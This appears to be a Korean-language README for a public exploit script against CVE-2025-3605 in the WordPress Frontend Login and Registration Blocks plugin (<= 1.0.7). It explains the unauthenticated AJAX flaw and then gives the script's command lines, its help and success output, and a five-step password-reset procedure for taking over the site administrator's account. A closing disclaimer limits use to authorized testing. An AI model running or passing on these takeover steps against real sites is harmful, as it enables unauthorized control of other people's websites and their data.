
WordPress Frontend Login and Registration Blocks Plugin <= 1.0.7은 권한 상승(Privilege Escalation) 취약점이 있습니다.
WordPress용 Frontend Login and Registration Blocks 플러그인(버전 <= 1.0.7)은 계정 탈취를 통한 권한 상승에 취약합니다.
이 문제는 flr_blocks_user_settings_handle_ajax_callback() 함수를 통해 이메일과 같은 민감한 정보를 업데이트할 때 플러그인이 사용자 신원을 검증하지 않기 때문에 발생합니다.
✅ 영향:
인증되지 않은 공격자가 관리자의 이메일을 변경하고, "비밀번호 찾기" 절차를 트리거하여 관리자 비밀번호를 재설정함으로써 전체 제어 권한을 얻을 수 있습니다.
포함된 Python 스크립트는 취약한 AJAX 엔드포인트를 대상으로 악용 과정을 자동화합니다:
/wp-admin/admin-ajax.php
대상 사용자(일반적으로 관리자의 user_id 1)의 이메일을 공격자가 제어하는 이메일로 변경합니다.
파일명: CVE-2025-3605.py
python CVE-2025-3605.py --url http://target-site/wordpress --user_id 1 --mail [email protected]
✅ 기본값:
--user_id: 1 (기본 관리자)--mail: [email protected]도움말 메뉴를 보려면 다음을 실행하세요:
python CVE-2025-3605.py --help
출력:
[+] Starting exploit script...
usage: a.py [-h] --url URL [--user_id USER_ID] [--mail MAIL]
Frontend Login and Registration Blocks Plugin <= 1.0.7 is vulnerable to Privilege Escalation # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
--url, -u URL Target URL, e.g., http://192.168.100.74:888/wordpress
--user_id, -id USER_ID
User ID to target (default: 1)
--mail, -mail MAIL Email to set (default: [email protected])
✅ 실행 예시:
python CVE-2025-3605.py -u http://192.168.100.74:888/wordpress -id 1 -mail [email protected]
✅ 성공 시:
[+] Starting exploit script...
[+] Sending exploit to http:/target.com/wp-admin/admin-ajax.php/wp-admin/admin-ajax.php
[+] Exploit successful! Response: {"status":true,"message":"Operation has been completed successfully."}
[+] Final Step: Go to the Forgot Password page and reset the admin password using the new email!
Exploit By : Khaled_alenazi ( Nxploited )
❌ 실패 시:
[!] Exploit failed. HTTP Status: 400
[!] Response: 0
1️⃣ 다음으로 이동:
http://target-site/wordpress/wp-login.php
2️⃣ 설정한 새 이메일([email protected])을 입력합니다.
3️⃣ 비밀번호 재설정을 요청합니다.
4️⃣ 새 비밀번호를 설정합니다.
5️⃣ 관리자로 로그인하여 전체 액세스 권한을 누리세요.
이 익스플로잇과 스크립트는 교육 및 승인된 테스트 목적으로만 제공됩니다.
소유하지 않았거나 테스트에 대한 명시적 허가가 없는 시스템에 대한 무단 사용은 불법적이고 비윤리적입니다.
작성자: Khaled Alenazi (Nxploited)